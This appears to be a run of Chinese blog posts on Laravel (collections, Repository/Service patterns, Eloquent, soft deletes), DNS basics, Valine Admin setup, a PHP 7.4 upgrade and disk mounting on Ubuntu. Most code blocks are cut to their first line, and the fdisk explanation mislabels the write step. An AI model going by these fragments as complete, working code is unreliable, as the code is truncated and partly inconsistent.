1 | $collection = collect([ |
返回给定数量项目的新集合。
1 | $collection = collect([0, 1, 2, 3, 4, 5]); |
你还可以传递负数的方式从集合末尾开始获取指定数目的数据项。
1 | $collection = collect([0, 1, 2, 3, 4, 5]); |
传递集合到给定回调,从而允许你在指定入口进入集合并对集合项进行处理而不影响集合本身。
1 | collect([2, 4, 3, 1, 5]) |
静态times()
方法通过调用给定次数的回调函数来创建新集合:
1 | $collection = Collection::times(10, function ($number) { |
该方法在和工厂方法一起创建 Eloquent 模型时很有用。
1 | $categories = Collection::times(3, function ($number) { |
迭代集合并对集合内的每个项目调用给定的回调。
1 | $collection = collect([1, 2, 3, 4, 5]); |
注意:each 只是遍历集合,map 则会返回一个新的集合实例;它不会修改原集合。如果你想修改原集合,请使用 transform 方法。
将给定的数组添加到集合中。如果给定的数组含有与原集合一样的键,则首选原始集合的值。
1 | $collection = collect([1 => ['a'], 2 => ['b']]); |
返回集合中所有的唯一数据项, 返回的集合保持原来的数组键,在本例中我们使用 values 方法重置这些键为连续的数字索引
基本用法:
1 | $collection = collect([1, 1, 2, 2, 3, 4, 2]); |
当处理嵌套数组或对象时,你可以指定用于确定唯一性的键:
1 | $collection = collect([ |
你还可以指定自己的回调用于判断数据项唯一性。
1 | $unique = $collection->unique(function ($item) { |
该方法和 unique
方法签名一样,不同之处在于所有值都是「严格」比较。
会执行给定回调,除非传递到该方法的第一个参数等于 true。
1 | $collection = collect([1, 2, 3]); |
与 unless 相对的方法是 when。
返回键被重置为连续编号的新集合。
1 | $collection = collect([ |
静态 unwrap 方法会从给定值中返回集合项。
1 | Collection::unwrap(collect('John Doe')); |
当传入的第一个参数为 true 的时,将执行给定的回调。
1 | $collection = collect([1, 2, 3]); |
通过给定的键值过滤集合。
1 | $collection = collect([ |
whereStrict
方法使用严格模式通过给定的键值过滤集合。
当集合为空时,将执行给定的回调函数。
1 | $collection = collect(['michael', 'tom']); |
反之whenNotEmpty()
方法当集合不为空时,将执行给定的回调函数。
通过给定的键值数组来过滤集合。
1 | $collection = collect([ |
类似方法还有whereNotIn
、whereBetween
、whereNotInStrict
。
筛选指定范围内的集合。
1 | $collection = collect([ |
静态 wrap 方法会将给定值封装到集合中。
1 | $collection = Collection::wrap('John Doe'); |
将给定数组的值与相应索引处的原集合的值合并在一起。
1 | $collection = collect(['Chair', 'Desk']); |
集合还支持“高阶消息传递”,也就是在集合上执行通用的功能,支持高阶消息传递的方法包括:average
、avg
、contains
、each
、every
、filter
、first
、map
、partition
、reject
、sortBy
、sortByDesc
、sum
和 unique
。
每个高阶消息传递都可以在集合实例上以动态属性的方式访问,例如,我们使用 each 高阶消息传递来在集合的每个对象上调用一个方法:
1 | $users = User::where('votes', '>', 500)->get(); |
类似的,我们可以使用 sum 高阶消息传递来聚合用户集合的投票总数:
1 | $users = User::where('group', 'Development')->get(); |
在 CURD 中,CUR 比较稳定,但 Read 的部分则变化万千,大部分的数据库逻辑都在描述 Read 部分,若将数据库逻辑写在 Controller 或 Model 都不合适,会造成 Controller 或 Model 代码臃肿,如后难以维护。
使用 Repository 模式之后,Model 仅仅当成 Eloquent Class 即可,不需要包含数据库逻辑,仅保留如下部分:
$table
、$fillable
…hasMany()
与 belongsTo()
单一对应关系:
多个对应关系指的是使用以下关键词定义的关联模型:
在开发时常常会在 Controller 直接调用 Model 写数据库逻辑,如下:获取数据库中用户 age>20
的数据。
1 | public function index() |
这样写逻辑会有几个问题:
比较好的方式是使用 Repository:
app/Repositories/UserRepostitory.php
中的内容:
1 |
|
在控制器app\Controllers\UserController.php
中使用依赖注入:
1 |
|
将相依的 UserRepository
依賴注入到 UserController
,并从原本直接依赖 User Model
改成依赖注入的 UserRepository
。
优点:
注意⚠️:实际上建议 Repository 仅依赖注入进 Service,而不是直接注入在 Controller。
理论上使用依赖注入时,应该使用 Interface ,不过 Interface 目的在于更换数据库,让代码达到开放封闭的要求,但是实际上要更改 Reposiroty 的机会也不多,除非是从 MySQL 更换到 MongoDB,此时就应该建立 Repository Interface。
不过由于我们使用了依赖注入,将来要从 Class 改成 Interface 也很方便,只要在 Constructor 的 type hint 改成 Interface 即可,维护成本很低,所以在此大可使用 Repository Class 即可,不一定得用Interface而造成 Over Design,等真正需要修改时,再重构 Interface 即可。
Laravel 4.2 就有 QueryScope,到后面的版本也都还保留着,它让我们可以将逻辑代码写在 Model ,解决了维护与重复使用的问题。
如 app/User.php 里的代码:
1 |
|
QueryScope 必须以 scope开头,第一个参数为 queryBuilder,一定要加上;第二个参数以后为自己要传入的参数。
由于回传必须是一个 queryBuilder ,因此不需要加上 get()
,在app/Controllers/UserController.php
中使用代码:
1 |
|
在 Controller 中使用 QueryScope 时,不需要加上 Prefix,由于其本质是 queryBuilder,所以还要加上 get() 才能获得 Conllection 数据。
由于 QueryScope 是写在 Model,不是写在 Controller,所以基本上解决了 Controller 臃肿违反 SOLID 的单一职责原则的问题, Controller 也可以重复使用 QueryScope ,已经比直接将资料库逻辑写在 Controlelr 中好很多。
不过若在中大型项目中,仍然有以下问题:
实际开发时,可以一开始 1 个 Repository 对应 1 个 Model,但是也不必太过执着于 1 个 Repository,一定要对应 1 个 Model,可将 Repository 视为逻辑上的数据库逻辑类别即可,可以横跨多个Model处理,也可以 1 个 Model 拆成多个 Repository,视情况而定。
Repository 使得数据库逻辑从 Controller 或 Model 中解放,不仅更容易维护、更容易拓展、更容易重复使用,也更容易测试。
倒底该不该用Repository,对于这个问题,从未停止过讨论。我认为没有绝对的用或者不用,需要根据项目实际情况而定。
结合自己的一些项目经验,我的理解是:对于小项目而言,复杂查询并不多,直接使用ORM效率更高,前期快速开发才是关键,过早使用Repository 反而会造成过度设计; 而对于起步本身就是中大型项目,则可以考虑使用Repository 将复杂的查询和业务逻辑分开。
单一职责原则:
这里有两个讨论很精彩:绝不 使用 Repository??、绝不 使用 Repository?
]]>1 | /** |
1 | /** |
1 | /** |
通常主键不是id
时,可以使用该属性指定属性。
Eloquent 假设主键是一个自增的整数值,这意味着默认情况下主键会自动转换为 int 类型。
如果希望使用非递增或非数字的主键则需要设置公共的 $incrementing
属性设置为 false:
1 | /** |
如果你的主键不是一个整数,你需要将模型上受保护的 $keyType
属性设置为 string:
1 | /** |
默认情况下,Eloquent 预期你的数据表中存在created_at
和updated_at
字段,如果不想让 Eloquent 自动管理这两个列, 请将模型中的 $timestamps 属性设置为 false:
1 | /** |
1 | // 自定义存储时间戳的字段名 |
如果需要自定义时间戳的格式,在你的模型中设置 $dateFormat 属性。这个属性决定日期属性在数据库的存储方式,以及模型序列化为数组或者 JSON 的格式:
1 | /** |
不清楚 U 是什么意思的,请看 Date/Time 函数 。
1 | /** |
1 | /** |
1 | /** |
如果说$hidden
属性是黑名单,那么$visible
就是白名单。
1 | /** |
appends
属性,通常会配合Accessors 一起使用。
1 | /** |
1 | /** |
casts
属性很有用,可以使得从数据库中获取的数据,可以自动转换成我们期望的类型。
1 | /** |
可能的属性转换列类型:
|类型|描述|
|-|-|
|int|
integer|通过 PHP 转换(int)|
|real|
float|
double|通过 PHP 转换(float)|
|string|通过 PHP 转换(string)|
|bool|
boolean|通过 PHP 转换(bool)|
|object|作为一个stdClass 对象,从JSON 解析或被解析为JSON|
|array|作为一个数组,从JSON 解析或被解析为JSON|
|collection|作为一个集合,从JSON 解析或被解析为JSON|
|date|
datetime|从数据库DATATIME 解析为Carbon 类型,然后返回|
|timestamp|数数据库TIMESTAMP 解析为Carbon 类型,然后返回|
1 | /** |
设置dates
的属性,默认是一个Carbon 对象。
1 | /** |
1 | /** |
1 | /** |
为关联模型默认添加『渴求式加载』,等效于使用查询构造器时,手动指定with
。
1 | class User { |
Controller
里,会造成 Controller
代码的臃肿难以维护,基于 SOLID
原则,我们应该使用 Service
模式辅助 Controller
,将相关的业务逻辑封装在不同的 Service
,方便项目的后期维护。商业逻辑中,常见的如 :
若将商业逻辑写在 controller,会造成 controller 肥大,日后难以维护。
如 发送Email
,常常会在 Controller
中直接调用 Mail::queue()
:
1 | /** |
在中大型的项目中,会有几个问题:
比较好的方式是使用 Service,使用的步骤如下:
app\Services\EmailService.php
:
1 |
|
app\Controllers\UserController.php
:
1 |
|
从原本相依于 Mail Facade
,改成相依于注入的 EmailService
。
改用这种写法有几个优点,如下:
如根据用户购买数量,给予同步的折扣,可能我们会在 Controller 直接写 if () { ... } else { ... }
逻辑。
app\Controllers\UserController.php
:
1 | public function index(Request $request) |
在中大型项目中,会有几个问题:
app\Services\OrderService.php
:
1 |
|
在 Controller 中调用代码,如下:
1 |
|
将原本的 if () { .. } else { .. }
逻辑改写成使用 OrderService
,Controller
变得非常干净,也达成原来 Controller
接受 Http Request
,调用其他 Class
的责任。
改用这种写法的几个优点:
61.135.169.125
就是百度的官网地址之一,如果每次访问百度都需要输入 IP 的话,估计到今天互联网都还没有走出鸿蒙阶段。在网络发展历史上,最开始确实就是直接使用 IP 地址来访问远程主机的。早期联网的每台计算机都是采用主机文件(即我们俗称的 hosts 文件)来进行地址配置和解析的,后来联网机器越来越多,主机文件的更新和同步就成了很大的问题。于是,1983 年保罗·莫卡派乔斯发明了域名解析服务和域名系统,在 1985 年 1 月 1 日,世界上第一个域名 nordu.net 才被注册成功。
域名比 IP 地址更容易记忆,本质上只是为数字化的互联网资源提供了易于记忆的别名,就像在北京提起「故宫博物院」就都知道指的是「东城区景山前街 4 号」的那个大院子一样。如果把 IP 地址看成电话号码,那域名系统就是通讯录。我们在通讯录里保存了朋友和家人的信息,每次通过名字找到某人打电话的时候,通讯录就会查出与之关联的电话号码,然后拨号过去。我们可能记不下多少完整的电话号码,但是联系人的名字却是一定记得的。
既然「域名」只是一个别名,单凭这一个名字我们并不能访问到正确的地址,只有能将域名解析成实际的网络地址,网络访问才能成功。这种解析工作由专门的「域名系统」(Domain Name System,简称 DNS)完成,DNS 也是互联网的核心基础服务之一。
DNS 解析的过程是什么样子的呢?在开始这个问题之前,我们先看一看域名的层次结构。
在讨论域名的时候,我们经常听到有人说「顶级域名」、「一级域名」、「二级域名」等概念,域名级别究竟是怎么划分的呢?
www.baidu.com.
,细心的人会注意到,这里最后有一个 .
,这不是 bug,而是所有域名的尾部都有一个根域名。www.baidu.com
真正的域名是 www.baidu.com.root
,简写为www.baidu.com
.,又因为根域名 .root
对于所有域名都是一样的,所以平时是省略的,最终就变成了我们常见的样子。.com/
、.net/
、.org/
、.cn/
等等,他们就是顶级域名。baidu.com
。这是我们能够购买和注册的最高级域名。www.baidu.com
,由此往下,基本上 N 级域名就是在 N-1 级域名前追加一级。总结一下,常见的域名层级结构如下:
1 | 主机名.次级域名.顶级域名.根域名 |
一般来说我们购买一个域名就是购买一个二级域名(SLD)的管理权(如 0x2beace.com),有了这个管理权我们就可以随意设置三级、四级域名了。
与域名的分级结构对应,DNS 系统也是一个树状结构,不同级别的域名由不同的域名服务器来解析,整个过程是一个「层级式」的。
层级式域名解析体系的第一层就是根域名服务器,全世界 IPv4 根域名服务器只有 13 台(名字分别为 A 至 M),1 个为主根服务器在美国,其余 12 个均为辅根服务器,它们负责管理世界各国的域名信息。在根服务器下面是顶级域名服务器,即相关国家域名管理机构的数据库,如中国互联网络信息中心(CNNIC)。然后是再下一级的权威域名服务器和 ISP 的缓存服务器。
一个域名必须首先经过根数据库的解析后,才能转到顶级域名服务器进行解析,这一点与生活中问路的情形有几分相似。
假设北京市设立了一个专门的「道路咨询局」,里面设置了局长、部长、处长、科员好几个级别的公务员,不同的部门、科室、人员负责解答不同区域的道路问题。这里的人都有一个共同特点,信奉「好记性不如烂笔头」的哲理,喜欢将自己了解到的信息记录到笔记本上。但是有一点遗憾的是,他们写字用的墨水只有一种,叫「魔术墨水」,初写字迹浓厚,之后会慢慢变淡,1 小时之后则会完全消失。道路咨询局门口还有一个门卫大爷,所有的人要问路都需要通过他来传达和回复,市民并不能进入办公楼。
如果市民 A 先生来找门卫大爷询问「北海公园」的地址,门卫大爷会先看一下自己的笔记本,找找看之前有没有人问过北海公园,如果没有,他就会拨打内线去找局长求助。局长说北海是西城区,你去问负责西城区道路信息的赵部长吧。门卫大爷又去问赵部长,赵部长查了一下,说这个地址你去问负责核心区的钱处长吧。门卫大爷又给钱处长打过去电话,钱处长说这个地址我也不掌握啊,你去问一下负责景山片区的科员小孙吧。门卫大爷从小孙那里终于知道了北海公园地址,他赶紧记到自己的小本本上,然后把结果告诉了市民 A 先生。接下来一小时内,如果还有市民 B 先生再来问北海公园的话,门卫大爷就直接用笔记本上记载的结果回复了。当然,如果市民 C 女士过来问别的地址的话,门卫大爷就要把处理 A 先生问询的流程再走一遍了。
现在我们来看一个实际的例子。如果我们在浏览器中输入https://news.qq.com
,那浏览器会从接收到的 URL 中抽取出域名字段(news.qq.com),然后将它传给 DNS 客户端(操作系统提供)来解析。
首先我们说明一下本机 DNS 配置(就是 /etc/resolv.conf
文件,里面指定了本地 DNS 服务器的地址,Windows 系统可能会有所不同):
1 | cat /etc/resolv.conf |
然后我们用 dig 这个工具查看一下 news.qq.com 的解析结果(其中中文部分是解释说明):
1 | $ dig news.qq.com |
从这个应答可以看到,我们得到的结果不是权威回复,只是本地 DNS 服务器从缓存中给了应答。
接下来我们在 dig 命令中增加一个参数 +trace
,看看完整的分级查询过程:
1 | $ dig +trace news.qq.com |
实际的流程里面,本地 DNS 服务器相当于门卫大爷,根域名服务器相当于局长同志,其余以此类推。客户端与本地 DNS 服务器之间的查询叫递归查询,本地 DNS 服务器与其他域名服务器之间的查询就叫迭代查询。
域名服务器之所以能知道域名与 IP 地址的映射信息,是因为我们在域名服务商那里提交了域名记录。购买了一个域名之后,我们需要在域名服务商那里设置域名解析的记录,域名服务商把这些记录推送到权威域名服务器,这样我们的域名才能正式生效。
在设置域名记录的时候,会遇到「A 记录」、「CNAME」 等不同类型,这正是前面做域名解析的时候我们碰到的结果。这些类型是什么意思,它们之间有什么区别呢?接下来我们看看常见的记录类型。
www
:解析后的域名为 www.0x2beace.com,一般用于网站地址。@
:直接解析主域名。*
:泛解析,指将 *.yourdomain.com 解析到同一 IP。在填写各种记录的时候,我们还会碰到一个特殊的设置项——TTL,生存时间(Time To Live)。
TTL表示解析记录在 DNS 服务器中的缓存时间,时间长度单位是秒,一般为3600秒。比如:在访问news.qq.com
时,如果在 DNS 服务器的缓存中没有该记录,就会向某个 NS 服务器发出请求,获得该记录后,该记录会在 DNS 服务器上保存TTL的时间长度,在TTL有效期内访问 news.qq.com
,DNS 服务器会直接缓存中返回刚才的记录。
Laravel 的Eloquent 也提供相应的功能达到软删除模型的目的,不过个人觉得Laravel 的软删除存在一些问题:
Laravel中使用了一个日期字段作为标识状态,
deleted_at
默认值为NULL
,如果记录被删除了,deleted_at
的值则为当前时间戳,所以只能通过is null
ornot is null
查询一条记录是否被删除,这会导致Mysql 引擎放弃使用索引而进行全表扫描,查询效率可想而知。
可以通过重写SoftDeletes.php
类来修改Laravel SoftDelete 的逻辑:
1 |
|
通过定义is_deleted
字段来标示是否删除,默认值0. 未删除
,1. 已删除
,同时给该字段添加普通索引。
接着还需要重写SoftDeletingScope.php
类,约束默认查询is_deleted = 0
的记录:
1 |
|
最后应用到Model 中:
1 |
|
没有通知这怎么能行呢?因为我用的是一款叫做Valine 的评论系统,马上Google 了一下,于是有了这篇笔记。
所以这篇笔记的内容,可能不适用其他评论系统。
Valine Admin
是 Valine 评论系统的后端功能补充和增强,主要实现评论邮件通知、评论管理、垃圾评论过滤等功能。支持完全自定义的邮件通知模板,基于Akismet API实现准确的垃圾评论过滤。
在正式开始之前,首先得注册一个LeanCloud 账号。
LeanCloud 是什么?
它是一站式后端云服务提供商,到时候我们的评论系统就是要部署在这个云服务上。
注册成功之后,进入控制台,新建一个应用:
选择开发板就好。
然后进入刚创建好的应用,依次点击设置=> 应用Key,可以看到AppID
和AppKey
,这两个东西很重要,
打开博客主题的配置文件,在对应的位置分别填上appId
和appKey
:
下一步需要绑定域名,这里需要绑定的域名,就是你的博客的域名,国内版可能有多个域名绑定供选,这里选择云引擎就好。
到时候这个域名就是进入我们的评论系统的入口。
需要先完成CNAME 域名解析,绑定才会生效。
进入你的域名管理后台,添加一条CNAME
记录,主机名称就是刚才绑定的子域名。
域名解析没那么快,等待的时间可以开始配置云引擎。
进入云引擎=>设置,添加云引擎环境变量:
变量 | 示例 | 说明 |
---|---|---|
SITE_NAME | 小艾的自留地 | [必填]博客名称 |
SITE_URL | https://0x2beace.com | [必填]首页地址 |
SMTP_SERVICE | [新版支持]邮件服务提供商,支持 QQ、163、126、Gmail 以及 更多 | |
SMTP_USER | xxxxxx@qq.com | [必填]SMTP登录用户 |
SMTP_PASS | ccxxxxxxxxch | [必填]SMTP登录密码 |
SENDER_NAME | Boo | [必填]发件人 |
SENDER_EMAIL | xxxxxx@qq.com | [必填]发件邮箱 |
ADMIN_URL | https://xxx.0x2beace.com/ | [建议]Web主机二级域名(云引擎域名),用于自动唤醒 |
BLOGGER_EMAIL | xxxxx@gmail.com | [可选]博主通知收件地址,默认使用SENDER_EMAIL |
AKISMET_KEY | xxxxxxxx | [可选]Akismet Key 用于垃圾评论检测,设为MANUAL_REVIEW开启人工审核,留空不使用反垃圾 |
点击保存之后,切换到云引擎=>部署,部署模式选择部署项目-Git部署,分支master,手动部署目标环境为生产环境,Git 仓库填入:https://github.com/DesertsP/Valine-Admin.git
,点击部署即可。
如果这时域名解析已经完成,那么访问:https://云引擎域名/
,应该可以看到如下界面:
这是还没有管理员账号,需要先通过https://云引擎域名/sign-up/
注册一个。
至此就已经可以管理我们的评论了,但是目前还没有邮件通知。
这里设置定时任务的目的就是,每天定时检查是否存在漏发的邮件。
进入云引擎=> 定时任务,创建两个定时任务:
0 */30 0-16 * * ?
,表示每天早0点到晚16点每隔30分钟访问云引擎。0 0 0 * * ?
,表示每天0点检查过去24小时内漏发的通知邮件并补发。邮件通知模板在云引擎环境变量中设定,可自定义通知邮件标题及内容模板。
环境变量 | 示例 | 说明 |
---|---|---|
MAIL_SUBJECT | ${PARENT_NICK} ,您在${SITE_NAME}上的评论收到了回复 | [可选]@通知邮件主题(标题)模板 |
MAIL_TEMPLATE | 见下文 | [可选]@通知邮件内容模板 |
MAIL_SUBJECT_ADMIN | ${SITE_NAME}上有新评论了 | [可选]博主邮件通知主题模板 |
MAIL_TEMPLATE_ADMIN | 见下文 | [可选]博主邮件通知内容模板 |
邮件通知包含两种,分别是被@通知和博主通知,这两种模板都可以完全自定义。默认使用经典的蓝色风格模板(样式来源未知)。
默认被@通知邮件内容模板如下:
1 | <div style="border-top:2px solid #12ADDB;box-shadow:0 1px 3px #AAAAAA;line-height:180%;padding:0 15px 12px;margin:50px auto;font-size:12px;"><h2 style="border-bottom:1px solid #DDD;font-size:14px;font-weight:normal;padding:13px 0 10px 8px;">您在<a style="text-decoration:none;color: #12ADDB;" href="${SITE_URL}" target="_blank"> ${SITE_NAME}</a>上的评论有了新的回复</h2> ${PARENT_NICK} 同学,您曾发表评论:<div style="padding:0 12px 0 12px;margin-top:18px"><div style="background-color: #f5f5f5;padding: 10px 15px;margin:18px 0;word-wrap:break-word;"> ${PARENT_COMMENT}</div><p><strong>${NICK}</strong>回复说:</p><div style="background-color: #f5f5f5;padding: 10px 15px;margin:18px 0;word-wrap:break-word;"> ${COMMENT}</div><p>您可以点击<a style="text-decoration:none; color:#12addb" href="${POST_URL}" target="_blank">查看回复的完整內容</a>,欢迎再次光临<a style="text-decoration:none; color:#12addb" href="${SITE_URL}" target="_blank">${SITE_NAME}</a>。<br></p></div></div> |
默认博主通知邮件内容模板如下:
1 | <div style="border-top:2px solid #12ADDB;box-shadow:0 1px 3px #AAAAAA;line-height:180%;padding:0 15px 12px;margin:50px auto;font-size:12px;"><h2 style="border-bottom:1px solid #DDD;font-size:14px;font-weight:normal;padding:13px 0 10px 8px;">您在<a style="text-decoration:none;color: #12ADDB;" href="${SITE_URL}" target="_blank">${SITE_NAME}</a>上的文章有了新的评论</h2><p><strong>${NICK}</strong>回复说:</p><div style="background-color: #f5f5f5;padding: 10px 15px;margin:18px 0;word-wrap:break-word;"> ${COMMENT}</div><p>您可以点击<a style="text-decoration:none; color:#12addb" href="${POST_URL}" target="_blank">查看回复的完整內容</a><br></p></div></div> |
这里有个问题就是部分变量不再可用,如果使用了未定义的变量,发送邮件时会抛出异常:
我选择去掉了部分变量,这就导致了邮件部分内容是缺失的:
这里没继续往下深究了,能用就行,至此就完成了所有配置。如果你遇到一些奇怪的问题,可以看看以下建议对你是否有用:
常见问题
CNAME
纪录,ttl
不要选择一小时,选择六百秒。SMTP_PASS
不是QQ 邮箱的密码,而是SMTP服务
的密钥,如果不知道如何获取,可以看这里。这篇笔记主要来整理下常用的ORM 操作。
artisan tinker
是 Laravel 框架自带的命令,用以调出 Laravel 的交互式运行时,Eloquent ORM 的代码可以直接在该环境中运行。
获取所有数据:
1 | use App\Models\User; |
如果只需要部分字段,有两种方式进行限定:
1 | $users = User::all(["id", "name"]); |
获取单列:
1 | $name = User::pluck('name'); |
还可以在返回的集合中指定字段的自定义键名,注意:该自定义键必须是该表的其它字段列名,否则会报错:
1 | $name = User::pluck('email','name'); |
1 | // 通过主键获取模型 |
Eloquent ORM 查询返回值是 Illuminate\Database\EloquentCollection
的一个实例,所以除了可以使用传统的数组方式进行遍历,还可以使用集合方式进行遍历。
chunk
方法可以把大的结果集分成小块查询,例如,我们可以将全部User 表数据切割成一次处理 5
条记录的一小块:
1 | $result = User::chunk(5, function ($users) { |
在User表中一共有14
条数据,通过查看查询日志,可以看到chunk
分了三次查询 :
如果想对一个集合中的每一项都进行一些操作,但不修改集合本身,则可以使用each
:
1 | $users = User::all(); |
如果想对集合中的所有元素进行迭代,对它们进行修改,并返回包含修改的新集合,那么需要使用map
:
1 | $users = User::all(); |
1 | // 统计总数 |
构建复杂查询:
1 | // 组合查询方式一 |
1 | // 用户id 倒序 |
1 | // 跳过前两条记录,取三条记录 |
1 | // 使用别名 |
1 | $users = User::paginate(10); |
paginate
方法,返回Illuminate\Pagination\LengthAwarePaginator
实例simplePaginate
方法,返回Illuminate\Pagination\Paginator
实例每个分页器实例都可以通过以下方法提供更多分页信息:
1 | $result->count() // 当前页条数 |
单条插入:
1 | $user = new User(); |
批量插入:
1 | $result = User::insert([ |
注意⚠️:此时不会触发saving、saved 模型事件
单条更新
1 | $user = User::find(1); |
批量更新:
1 | $user = User::whereIn("id", [1,2,3])->update(['password' => bcrypt(122410)]); |
单个删除
1 | // 通过主键查询,删除模型 |
批量删除:
1 | User::destroy([1, 2, 3]); |
除了真实删除数据库记录,Eloquent 也可以「软删除」模型。软删除的模型并不是真的从数据库中删除了。 事实上,是在模型上设置了 deleted_at
属性并将其值写入数据库。如果 deleted_at
值非空,代表这个模型已被软删除。
如果要开启模型软删除功能,需要做好三件事情:
deleted_at
字段Illuminate\Database\Eloquent\SoftDeletes
特征deleted_at
列添加到 $dates
属性1 |
|
现在,当在模型实例上使用 delete
方法,当前日期时间会写入 deleted_at
字段。同时,查询出来的结果也会自动排除已被软删除的记录。
1 | // 验证给定的模型实例是否已被软删除 |
注意⚠️:
笔者最早接触的第一个PHP 框架是ThinkPHP 3.2
,写过接口,做过网站。
后来发现了Laravel 这个框架,那时最新的版本是5.x,当时就觉得这个框架可真高级,好多从未了解到的概念。
也正是从那个时候开始了解Laravel,通过learnku 上的系列课程进行学习,
前前后后也是花了不少时间在上面,始终没机会进入项目实战,一直停留在学习层面。
今年的第一个项目有幸使用Laravel 从零开发,当我再次捡起之前看过的课程,感觉几乎白看了,好多点完全都没印象了。
有幸遇到一位不错的项目组长,项目开发初期给了一些时间去做准备。
这一周是新项目正式开始的第一周,项目进展挺顺利的(没有拖后腿 😀),不得不说使用Laravel 开发的效率真的很高,丰富的第三方扩展包可以满足日常开发的绝大多数应用场景。
这不禁让我引发思考,为什么之前花更多的时间和精力去学习,却还没有这短短半个月的收获大呢?
原因很简单:编程是技能,不是知识,技能只有在不断练习下才会有进步 。
借用一句老话来讲就是:纸上得来终觉浅,绝知此事要躬行。
现在再回头看看learnku.com
的站长,在介绍如何正确阅读本书时,说的一段话,真的特别好,强调“刻意练习”的重要性。
所以不能总是停留在学习阶段,有一定基础之后,就去做,遇到问题解决问题,不用太在意结果如何,动手去做就好了。
]]>中间遇到了一些小问题,总体还算顺利,在此记录一下。
我并没有使用集成的开发环境,而是单独安装所需的5.6
、7.0
、7.1
、7.2
、7.3
版本,所以升级7.4
也很简单,直接使用brew
安装即可:
1 | $ brew install php@7.4 |
但是这会带来一个新的问题:之前通过源码编译安装过的扩展,还需要再安装一次。
你可能会问,为什么还需要再安装一次呢?直接把php.ini
中的开启扩展配拷贝过去不就可以了吗?
我们来试试这样做会发生什么?
可以看到 PHP 并没有正常加载该扩展,这是为啥呢?
要回答这个问题,首先我们需要搞清楚,源码编译安装是怎么回事。
当我们执行phpize
命令后,会根据当前系统信息(PHP 版本)生成对应版本的扩展文件。
所以PHP7.3 编译生成的扩展自然就不能直接拿到PHP 7.4 中去使用了。
另外想说一下Xdebug ,它是我一直在使用的一个调试扩展,非常强大。
在PHP 升起到7.4 之后,我一并安装了最新版的Xdebug(3.x),此前我一直使用 2.x 版本的,因为版本跨度比较大,刚开始问题挺多的,断点总是进不去。
起初我认为是新旧配置不兼容,挺多参数名称发生了变化,(具体可以看这里),当我把配置全部切换成适应新版本,还是进不去。
后来阴差阳错升级了PHPStorm,结果就能调试了…(升级之前的版本是 2020.1)
适应xdebug 3.x
的配置如下:
1 | [XDebug] |
只是到最后我也没整明白到底是啥原因导致。
]]>一个项目只有 MVC 是不够的,我们需要更完整的项目架构。
受RoR的影响,初学者常认为 MVC 架构就是 model ,view,controller :
假如依照这个定义,以下这些需求改写在哪里呢?
其中 1, 2 属于商业逻辑,而 3, 4, 5 属于显示逻辑,若依照一般人对 MVC 的定义,model 是资料库,而 view 又是 HTML,以上这些需求都不能写在 model 与 view,只能勉强写在 controller。
因此初学者开始将大量程式写在 controller,造成 controller 的肥大难以维护。
既然逻辑写在 controller 不方便维护,那我将逻辑都写在 model 就好了?
当你将逻辑从 controller 搬到 model 后,虽然 controller 变瘦了,但却肥了 model,model 从原本代表资料库,現在变成还要负责商业逻辑与显示逻辑,结果更慘。
Model 代表资料库吗?把它想成是 Eloquent class就好,资料库逻辑应该写在 repository 里,这也是为什么 Laravel 5 已经沒有 models目录,Eloquent class 仅仅是放在 app 根目录下而已。
那我们改怎么写呢?別将我们的思维局限在 MVC 內 :
上面架构我们可以发现 MVC 架构还在,由与 SOLID 的单一职责原則与依赖反转原则:
我们将资料库逻辑从 model 分离出来,由 repository 辅助 model,将 model 依赖注入进 repository。
我们将商业逻辑从 controller 分离出来,由 service 辅助 controller,将 service 依赖注入进 controller。
我們将显示逻辑从 view 分离出來,由 presenter 辅助 view,将 presenter 依赖注入进 view。
在 app 目录下建立 Repositories,Services 与 Presenters 目录。
別害怕建立目录!!
別害怕在 Laravel 预设目录以外建立的其他目录,根据 SOLID 的单一职责原则,class 功能越多,责任也越多,因此越违反单一职责原则,所以你应该将你的程式分割成更小的部分,每个部分都有它专属的功能,而不是一个 class 功能包山包海,也就是所谓的万能类别,所以整个方案不应该只有 MVC 三个部分,放手根据你的需求建立适当的目录,并将适当的 class 放到该目录下,只要我们的 class 有 namespace 帮我们分类即可。
由于篇幅的关系,将 repository 独立成专文讨论,请参考如何使用 Repository 模式?
由于篇幅的关系,将 service 独立成专文讨论,请参考如何使用 Service 模式?
由于篇幅的关系,将 presenter 独立成专文讨论,请参考如何使用 Presenter 模式?
由于现在 model、view、controller 的相依物件都已经拆开,也都使用依赖注入,因此每个部分都可以单独的做单元测试,如要测试 service,就将 repository 加以 mock,也可以将其他 service 加以 mock。
Presenter 也可以单独跑单元测试,将其他 service 加以 mock,不一定要跑验收测试才能测试显示逻辑。
本文谈到的架构只是开始开始,你可以依照实际需求增加更多的目录与 class,当你发现你的 MVC 违反 SOLID 原则时,就大胆的将 class 从 MVC 拆开重构,然后依照以下手法 :
————————————————
版权声明:本文为CSDN博主「华尔街之猫」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/qq_24935119/article/details/89656569
下面以Ubuntu 18.04
的发行版作为演示。
首先查看系统当前硬盘分配情况:
1 | $ cd /dev && ls sd* -al |
默认情况下,系统硬盘标记为/dev/sda
,sda1
、sda2
这些表示对应硬盘下的分区名称。
查看当前系统硬盘挂载情况:
1 | $ df -h |
可以到看,该系统当前一共挂载了两块硬盘,分别是:
/dev/sda2
的系统盘 10G,挂载点为/
。/dev/sdb1
的临时盘 2.5G,挂载点为/mydata
。现在来为该系统添加第三块硬盘,并尝试挂载到指定目录。
添加硬盘之前,需要先将机器给停掉,右键设置,点击存储
创建虚拟盘:
按照默认选择VDI 就好:
根据自身情况,选择动态分配或者固定大小
这里选择分配三个G,然后点击创建。
将新硬盘加入进来,然后启动机器。
连接上机器之后,再次查看所有系统硬盘:
可以看到这次多了一个叫做sdc
的硬盘,首先需要对该硬盘进行分区,然后才能挂载。
这里我只需要新增一个主分区,执行以下命令:
1 | $ (echo n; echo p; echo 1; echo ; echo ; echo w) | sudo fdisk /dev/sdc |
这条命令最终会做以下几件事情:
echo n
新增分区echo p
新建主分区echo 1
新增一个主分区echo
表示『回车』确定echo 2
写入并退出fdisk
命令/dev/sdc
表示需要分区的硬盘将文件系统写入分区:
1 | sudo mkfs -t ext4 /dev/sdc1 |
将新硬盘挂载到指定目录:
1 | $ sudo mkdir /boo && sudo mount /dev/sdc1 /boo |
再次使用df -h
命令查看磁盘情况,可以到看新硬盘已经挂载到指定目录下了。
最后记得设置开机挂载,使用blkid
命令获取硬盘UUID:
1 | $ sudo -i blkid |
输出内容类似:
